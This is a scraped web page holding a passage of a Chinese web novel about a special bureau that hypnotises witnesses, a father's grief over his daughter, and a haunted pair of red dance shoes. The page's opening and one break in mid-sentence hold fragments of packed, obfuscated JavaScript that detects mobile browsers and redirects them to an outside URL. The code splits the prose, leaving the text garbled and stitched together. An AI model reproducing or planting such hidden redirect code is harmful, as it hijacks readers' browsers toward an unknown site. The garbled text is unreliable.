l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530312|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于结束了对女老师的“心理疏导”。 闻允大松一口气,压低声音问严崇山:“是不是结束了?” 严崇山好笑地看了他一眼:“那未必,许博航还得检测一下,万一他编的东西露馅儿了失效了,就得从头再来一次。” ……从头再来?! 许博航松开女老师的手,对方回过神来,表情已经没有最初的痛苦,反而显得一派轻松,他问:“您现在好点吗?” 女老师奇怪地捂着自己的心口:“我……我好多了,之前不知道为什么,只是发现同事心梗去世,都觉得非常害怕,好像天要塌了一样,整宿整宿睡不着觉,睡着了就做噩梦……听你说完,我突然觉得,她去世虽然可惜,但我不应该用别人的意外来惩罚自己呀……” “说得对,”许博航点点头,他状似不经意地问,“对了,我刚才有点忘了,你9月11号是为什么要那么早到学校来着?” 女老师表情如常,对答如流:“那天我要来开办公室的门。唉,说来也奇怪,可能人冥冥之中是有感知的,那天早晨我特别倒霉,开车来的路上一直遇到红灯……” 闻允和严崇山对视一眼。 成功了。 几人送走神情轻松的女老师,许博航死相尽显,他瘫在宽大的办公椅上,惜字如金地问:“还有几个?” 严崇山殷勤地给他倒了杯水润嗓子,许博航一看严崇山这态度就知道不对劲,果然,他听见自家亲爱的领导客客气气地说:“哎呀,还剩七八个,真是辛苦我们后勤处顶梁柱了……” 许博航一言不发,面色惨白。 严崇山补充道:“不过你放心,我们今天特地为你减少了工作量,有个教导主任不用你催眠,反正他不是什么好东西,我量他也不敢乱说——说了也没人会信。就让他提心吊胆地过完下半辈子吧,这人不值得咱们小许劳累成这样!” · 李建安打开家门,迈入寂静的客厅,往沙发上一坐,慢慢地打开了文件袋。 诚如严崇山所说,里面是他们调查时取走的一个摘抄本和一张合照,摘抄本的锁有轻微损坏迹象,二人的合照平展光滑如新。 他将两件物品取了出来,既不翻看,也不收起来,只是发了会儿呆,随后准备将空文件袋给扔了。 而在扔掉的前一瞬,他看见袋子的角落里卡着一个什么东西。 他将手伸进去,用指尖夹出了一颗绿色包装的西瓜糖。 李芸芸生前有很多奇怪的小爱好,比如她喜欢香精味重的东西,甜品、甜食都会挑不那么常规的口味,什么蜜瓜、西瓜、香蕉之类的。 有一年李芸芸淘到了一个糖果牌子,买了一大包糖回家,每天都要吃好几颗。 李建安一直不理解她这种独特的口味,他每每看见李芸芸吃糖就忍不住教育她:那都是香精有什么好吃的、唉吃这么多零食都不吃饭了、天天吃糖对牙不好…… 如此持之以恒,他终于把李芸芸给惹毛了。 李芸芸小同志愤恨地表示,一个平日不关心女儿的人不要在不该管的地方瞎管! 这个指控很严重,狠狠地打击到了本就心虚的李建安,将他鼻子都气歪了。他撂下一句“那我不管你了”,随后幼稚地和李芸芸展开一段互不搭理的冷战。 但他战不过宝贝女儿,没过两天他就率先投降认输,厚着脸皮去找李芸芸道歉。 李芸芸一看就是早原谅他了,只是自己也不来台。李建安来得正好,小姑娘嘿嘿一笑,从那堆糖里随便抓了一颗放进他的手里,得意地说:“你承认这糖好吃我就原谅你!” 可怜李建安生性不爱吃甜,正好吃到了他认为最古怪的西瓜味,被浓烈的香精打了鼻子,吃得面色扭曲,还得违心夸赞“好吃好吃”。 后来这变成他们之间一种独特的求和手段,但凡有谁惹怒了对方,又想请求和解,就会给对方留一颗西瓜糖。 李芸芸在文具盒里、作业本上、牙杯里都找出过西瓜糖,而李建安也在剃须刀边、家钥匙旁、还有餐桌上找到过西瓜糖。 给一颗西瓜糖,就表示原谅。 吃了西瓜糖,就表示和解。 李建安哆哆嗦嗦地拆开那个包装袋,颤抖着将糖放进了自己的嘴里。 这个口味的糖还是那么难吃,香精味浓烈,甜得诡异,混着咸涩的泪水,在李建安的嘴里发酵成古怪的味道。 伴着这样的味道,李建安终于痛哭起来。 不要再把自己困在泥潭里了,爸爸。 那已经安然离去的灵魂远远地说:我原谅你了。 27. 红舞鞋 夏日最后的暑气也凋零,路上再找不到穿着短袖的路人,众人纷纷穿上了毛衣和外套。道路两旁苍翠不再,叶片的颜色越来越深,最后烧成两道火连云。 深秋已至。 乔老师一案尘埃落定,闻允也加入特安局两个多月了。 这两个多月里没有新案发生,一群人成天吃喝玩乐、混吃等死,在罗梨的大力示好、李煦的极力怂恿下,一向独来独往的闻允终于有点融入特安局大家庭的迹象。 他都开始陪罗梨打游戏了。 区别于特安局里热热闹闹开开心心的众人,严崇山就没那么爽了,经过两个月的观察,他确认了一件事——闻允一直在躲着他。 而且证据十分充足。 在家吃饭,闻允和谁都能聊两句,唯独不接严崇山的话。 出门团建,闻允从来不坐有严崇山的那辆车——哪怕开车的人不是严崇山。 夜里睡觉,不管严崇山早睡还是晚睡,反正他就是等不到闻允回屋,顺便和他说一声晚安。 种种迹象表明,他毫无道理地被闻允一个人孤立了。 岂有此理! 这还是性格油滑、交友甚广的严崇山第一次在人际生涯里遭受滑铁卢,他十分郁闷,想找闻允问个清楚,奈何值此关头,严家有件大事发生。 ——他亲爱的母亲杨含珠回国了。 严家的家庭组合十分奇妙,当局长的爸当总裁的妈,父亲成熟稳重溺爱孩子,母亲叱咤商界古灵精怪且把儿子当狗使唤。 杨含珠女士从国外出差回来,当天就把儿子叫走了,一走就是一星期。这期间严崇山陪吃陪喝陪笑,出门当司机逛街就拎包,一个在外当领导的人,愣是让亲妈磨得服服帖帖。 到了第八天,严崇山终于受不了了,他假托局里有急事,脚底抹油地溜了回来,拥抱他在局里作威作福的美好生活。 由于他回家时没说交代清楚要在家里住多久,罗梨又信誓旦旦地说(以她对杨阿姨的了解)严崇山没有一个月回不来,于是局里众人都没料到他会在第八天就杀个回马枪——包括闻允。 两个多月来,严崇山终于顺利地逮住了闻允。 供暖还没开,局里提前开了暖气空调,不要钱地往外撒电费。 几个人穿得都挺清凉,只有闻允还算老实,穿了一件松垮的羊绒衫,脚上还穿了袜子,像个青春洋溢的大学生,盘腿坐在沙发上,眼睛盯着大屏幕,正和罗梨在游戏里激战。 滑稽可爱的背景音乐响着,期间掺杂着技能使用音效和角色受击语音,罗梨捏着手柄,紧张得都要出汗了,闻允嘴里叼着一颗棒棒糖,神态悠闲,把罗梨打得毫无还手之力。 一段角色倒地的哭泣音效之后,罗梨尖叫起来:“闻允,我和你不共戴天!” 这很难得,罗梨出了名的颜控,对好看的人就是和颜悦色极尽温柔,对颜值抱歉的人就是横眉冷对。闻允自打进了局里,罗梨对他可谓心怀百般柔情,平时一口一个小允地叫,这会儿竟然连名带姓地喊了,多半是真的愤怒了。 闻允稳坐钓鱼台,他心狠手辣地把罗梨的角色彻底打死,心平气和地说:“承让。” 严崇山乐了一下,觉得这小子气人挺有一手的。 随后他想起这两个多月来的冷待,又笑不出来了。 李煦见怪不怪,他嘴里也叼着一根棒棒糖,歪斜着躺在沙发上,翘着二郎腿刷着短视频,还津津有味地点评:“又不共戴天了,梨子姐,你家的天真窄!” 闻允:“又?” 李煦嘴里发出咯吱咯吱的碰撞声,他把糖推到另一边腮帮子里含着,含含糊糊地说:“是啊!之前她天天和计遇哥不共戴天,后来计遇哥就老是悄悄放水,现在轮到和你不共戴天了……” 罗梨大叫:“没放水好吗!那是姐的实力!” 严崇山咳嗽一声刷了刷存在感,他走进客厅,往单人沙发位上一坐,哄道:“行,小允第一你第二计遇第三行了吧?” 几人对领导的归来表现得不咸不淡,李煦摘下棒棒糖挥了挥朝他打了个招呼,闻允不自在地偏了一下脸,没看他。 严崇山接着道:“读书的时候怎么不见你这么激流勇进呢?光臭美去了,心思一点儿不放在正事上。” 闻允听得有点意外,他也不问严崇山,而是偏头问李煦:“读书时候就认识了?他们认识得这么早?” 李煦开朗道:“对啊对啊,青梅竹马来的!” 严崇山重重地咳了一声,有意撇清什么似的:“青什么梅竹什么马,你丫会不会说话?” 闻允无所察觉,他终于转过头来看了一眼严崇山,又看了一眼气鼓鼓的罗梨,谨慎道:“般配是挺般配的,就是……” 严崇山像被踩了尾巴,反应极大,没好气地问:“般配什么?我没这个福气,还是便宜计遇吧。” 李煦这个缺心眼完全没感觉到对话之下的暗流涌动,他没心没肺地点点头:“对呀对呀,你的福气还在后头呢~” 严崇山:“……” 他都招了些什么东西进来? 严崇山觉得这个客厅待不下去了,他站起身来,直接点了闻允的名:“小允,你打完来找我一趟,我在小书房等你。” 闻允兴致不高,哦了一声,开启下一把游戏。 严崇山扭头就走。 他走了没几分钟,许博航幽灵似的飘了出来。他平时没有正经事儿干的时候会给大家取取外卖和快递,以前还要人使唤,后来他来回跑跑出了觉悟,不要人说了,看见就会主动带上来。 这会儿他手里拿着个有点瘪的纸盒,问:“谁的?” 罗梨刚休息一会儿的手指又噼里啪啦地按起手柄,她头也不回,大叫道:“我的我的,应该是我化妆品到了,你放那儿吧我晚上再拆!” 许博航顺手将盒子一放,幽幽地飘走了。 一把游戏再度以罗梨惨败作为终结,罗梨气得跳脚,一腔怒火无处发泄,把看热闹的李煦薅起来命令道:“你来陪我玩!” 而闻允刚被领导点名,君命难违,只好磨磨蹭蹭地把手柄转交给惊慌失措的李煦,自己去了套间小书房。 严崇山看起来没什么文化底蕴,书房却布置得很好。几个欧式木质书架并排拼接,边角精细地雕着装饰纹路,一张长沙发摆在书房正中,不远处布置了茶桌,近落地窗的地方还讲究地摆着绿植。 严崇山翘着二郎腿坐在沙发上,手里不知道在翻什么闲书,他看起来有点心浮气躁,一目十行地扫着铅字,没几秒就翻下一页。 见到闻允进来,他把书合上,不容置疑地开口:“过来。” 闻允竟然生出一种考砸时觐见班主任的紧张感。 他把自己挪过去,挑了一个离严崇山最远的位置坐下:“怎么了?” 严崇山开门见山地问:“我哪儿得罪了你?拖了你工资还是扣了你奖金?” 闻允:“……没有。” “那行。”严崇山维持着这个坐姿,冷冷地问,“那你为什么一直躲着我?” 闻允坐得很直,他没怎么看着严崇山说话,眼神甫一和严崇山对上就移开。 盯着自己的膝盖,他反问道:“领导不应该离下属的私人生活远一点吗?其他工作单位里,员工躲着老板也不会被追问吧?” 那不是天经地义的事吗? 严崇山气笑了:“你果然躲着我。” 闻允不打算解释为什么,他闷闷地嗯了一声,算是承认了。 严崇山道:“你是在怪我最后查出了乔老师吗?我告诉你闻允,国有国法家有家规,人总要分得清是非曲直,帮亲不帮理是不对的,我们作为公职人员更应该……” 闻允打断他:“不是,你想多了。” 严崇山十分不满:“那是为什么?” 闻允不做声。 他对严崇山其实是没什么意见的,托严崇山的福,他现在的日子再好过没有了,每天吃穿不愁、娱乐活动丰富,他有大把时间研究自己感兴趣的事,看看书打打游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530313|186377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏…… 只不过,闻允一想到严崇山是唯一一个看到自己如此失态的人,就觉得丢脸非常。 严崇山像一个黑历史提醒器,他看见严崇山的脸就想起自己怎么在人家怀里哭,大脑实在难以承受这种心虚感,干脆开启了回避机制。 严崇山还想训他,但闻允刚才说的也很有道理——下属想和领导保持距离又怎么样呢? 他发觉自己根本没什么立场去说闻允,如果强行要求闻允像跟其他人那样相处一样对待他,反而显得有点无理取闹。 越想越糟心,严崇山在心里和自己博弈一番,反倒恼羞成怒起来,他烦躁地摸出一根烟夹在手里,对着闻允摆了摆手:“算了,你爱怎么样就怎么样,滚蛋吧。” 闻允难得不跟他呛,从善如流地滚了。 另一边,罗梨碾压了毫无游戏经验的李煦,终于喜滋滋地结束了游戏时间,带上快递盒,回房间卸妆护肤去了。 她很享受这种睡前放松时间,蓝牙音箱里放着英文歌,罗梨边跟着哼歌,边坐在梳妆台前,摸来一把剪刀,准备把快递拆了。 然而对着快递,她产生了些许疑惑。 手里这个快递盒又轻又皱,边角都有点撞烂了,像是被人随便捡了个纸盒就寄来的。 她买什么东西都挑贵的买,要上脸的东西全是大牌,包装不可能这么磕碜。 是不是许博航拿错了? 她把快递翻到正面,仔细地查看收件人。 那上面的地址是安全局没错,但收件人那块儿不知道被什么东西弄脏了,一点也看不清。估计许博航也没仔细看,只是看见快递就顺手带上来了。 在好奇心的驱使下,罗梨拿剪刀拆开封口,把纸壳子一掀——里面静静地躺着一双陈旧的红舞鞋。 音乐声渐远,到了严崇山房间里,就一点也听不到了。风穿过没关严实的窗缝,在屋子里穿了一圈,吹到严崇山的面上。 此人憋了满肚子气,难得失眠,在床上翻来覆去好一会儿都没能入睡,不是觉得光太亮就是觉得床太软,连着这讨人厌的风,他把屋里所有东西都嫌了一个遍,最后突然听见门外有动静。 别墅整体隔音挺好,一般的声响传不过来,他听见的是什么东西倒下撞出的声响。 谁大半夜不睡觉在外面捣乱? 严崇山率先想到了闻知秋,但这小丫头最近转变了目标,从缠着闻允变成了缠着李煦,李煦的套间又离严崇山最远,理论上把屋子拆了他都听不见。 难不成是闻允偷吃夜宵撞翻椅子吗? 只是想到这种可能性,严崇山就一骨碌坐了起来。他推门摸了出去,墙角的感应夜灯随着他走过渐次亮起,那点窸窸窣窣的动静更加清晰,是从客厅方向传来。 严崇山转身进了客厅。 室内没有开灯,一片昏黑,大片月光透过落地窗洒入室内,把一切轮廓都给勾了个银边。 在空旷的客厅里,罗梨穿着短裙,踮着脚,手臂高举,在静默中翩翩起舞,腿边有一个被碰倒了的椅子。 借着月光,他看见罗梨的脸上挂着一种莫名的微笑。那是一个陶醉痴迷的表情,怪异的是,罗梨脸上的肌肉很僵硬,似乎这并不是她自己想笑,而是有一双无形的手硬将她的脸颊推了起来。 我操,这也太渗人了。 严崇山吓了一跳,莫名其妙地问:“你半夜不睡觉干什么呢?” 罗梨不答话,她的眼神盯着虚空,口中“哒、哒”地给自己数着拍子。 她的身形优美,动作标准,肢体转动的幅度很大——严崇山从来都不知道罗梨能跳这么专业的舞。 只是那幅度越来越大,有几个动作甚至让严崇山觉得罗梨会把自己折断,肢体扭动的角度越发诡异,简直逼近人类的极限。 严崇山心里一惊,又叫一声:“罗梨!” 罗梨双腿一并,依然踮着脚尖,下巴微扬着,面无表情地注视着严崇山。 下一刻,她硬梆梆地向后倒下了。